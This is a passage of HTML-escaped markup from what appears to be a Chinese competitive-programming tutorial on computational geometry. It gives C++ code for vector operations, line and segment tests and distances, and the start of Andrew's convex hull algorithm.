style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point operator + (const Point&amp;amp; b) const { return Point(x + b.x, y + b.y); }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 向量减法&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point operator - (const Point&amp;amp; b) const { return Point(x - b.x, y - b.y); }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 数乘&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point operator * (double k) const { return Point(x * k, y * k); }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 数除&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point operator / (double k) const { return Point(x / k, y / k); }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 叉积 (Cross Product): a x b&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 几何意义：平行四边形面积，判断方向（右手定则）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // &amp;gt;0: b在a逆时针方向; &amp;lt;0: 顺时针; =0: 共线&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double operator ^ (const Point&amp;amp; b) const { return x * b.y - y * b.x; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 点积 (Dot Product): a . b&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 几何意义：|a||b|cos(theta)，判断夹角锐钝&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double operator * (const Point&amp;amp; b) const { return x * b.x + y * b.y; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 模长平方&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double len2() const { return x * x + y * y; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 模长&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double len() const { return sqrt(len2()); }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 极角排序用&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; bool operator &amp;lt; (const Point&amp;amp; b) const {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (sgn(x - b.x) != 0) return x &amp;lt; b.x;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return y &amp;lt; b.y;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 判断相等&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; bool operator == (const Point&amp;amp; b) const {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return sgn(x - b.x) == 0 &amp;amp;&amp;amp; sgn(y - b.y) == 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;};&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;typedef Point Vector;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;二、 直线与线段基础操作&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;struct Line {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point s, e; // 起点和终点&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Line() {}&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Line(Point s, Point e) : s(s), e(e) {}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 判断点在线段上 (包括端点)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 前提：点P已经在直线SE上（即叉积为0），只需判断坐标范围&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; bool point_on_seg(Point p) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return sgn((p - s) ^ (e - s)) == 0 &amp;amp;&amp;amp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sgn((p - s) * (p - e)) &amp;lt;= 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 两直线交点 (假设不平行)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 利用面积比求解&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point cross_point(Line l) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; double a1 = (l.e - l.s) ^ (s - l.s);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; double a2 = (l.e - l.s)^ (e - l.s);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return Point((s.x * a2 - e.x * a1) / (a2 - a1),&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(s.y * a2 - e.y * a1) / (a2 - a1));&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 点到直线的距离&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double dis_point_to_line(Point p) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return fabs((p - s) ^ (e - s)) / (e - s).len();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 点到线段的距离&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double dis_point_to_seg(Point p) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (sgn((p - s) * (e - s)) &amp;lt; 0) return (p - s).len();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (sgn((p - e) * (s - e)) &amp;lt; 0) return (p - e).len();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return dis_point_to_line(p);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;};&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;// 判断两线段是否相交 (快速排斥实验 + 跨立实验)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bool seg_intersects(Line l1, Line l2) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 1. 快速排斥：矩形包围盒不相交则线段不相交&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (max(l1.s.x, l1.e.x) &amp;lt; min(l2.s.x, l2.e.x) ||&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; max(l2.s.x, l2.e.x) &amp;lt; min(l1.s.x, l1.e.x) ||&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; max(l1.s.y, l1.e.y) &amp;lt; min(l2.s.y, l2.e.y) ||&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; max(l2.s.y, l2.e.y) &amp;lt; min(l1.s.y, l1.e.y))&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return false;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 2. 跨立实验：互相跨立&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double c1 = (l2.s - l1.s)^ (l1.e - l1.s);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double c2 = (l2.e - l1.s) ^ (l1.e - l1.s);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double c3 = (l1.s - l2.s) ^ (l2.e - l2.s);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double c4 = (l1.e - l2.s)^ (l2.e - l2.s);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 如果允许端点相交，使用 &amp;lt;= 0；如果不允许端点相交（严格内部），使用 &amp;lt; 0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 这里通常竞赛题允许端点接触算相交，或者根据题目具体要求调整&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 注意处理共线情况：如果 c1==0 &amp;amp;&amp;amp; c2==0，需要额外判断投影重叠&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (sgn(c1) == 0 &amp;amp;&amp;amp; sgn(c2) == 0) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 共线，检查投影是否重叠&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return l1.point_on_seg(l2.s) || l1.point_on_seg(l2.e) ||&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;l2.point_on_seg(l1.s) || l2.point_on_seg(l1.e);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return sgn(c1) * sgn(c2) &amp;lt;= 0 &amp;amp;&amp;amp; sgn(c3) * sgn(c4) &amp;lt;= 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;三、 多边形核心算法&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;1. 凸包 (Convex Hull) - Andrew 算法&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;时间复杂度&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;𝑂&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;(&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;𝑁&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;log&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;⁡&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;𝑁&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;O(NlogN)。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;// 求凸包，返回凸包上的点（逆时针顺序）&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;// 输入点集 pts，输出凸包点集 ch&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;int convex_hull(vector&amp;lt;Point&amp;gt;&amp;amp; pts, vector&amp;lt;Point&amp;gt;&amp;amp; ch) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int n = pts.size();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (n &amp;lt;= 1) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ch = pts;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return n;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; sort(pts.begin(), pts.end()); // 按 x 优先，y 次之排序&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; ch.resize(2 * n);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int k = 0;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 构建下凸壳&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; for (int i = 0; i &amp;lt; n; ++i) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while (k &amp;gt; 1 &amp;amp;&amp;amp; sgn((ch[k-1] - ch[k-2]) ^ (pts[i] - ch[k-2])) &amp;lt;= 0)&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; k--;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ch[k++] = pts[i];&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 构建上凸壳&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: 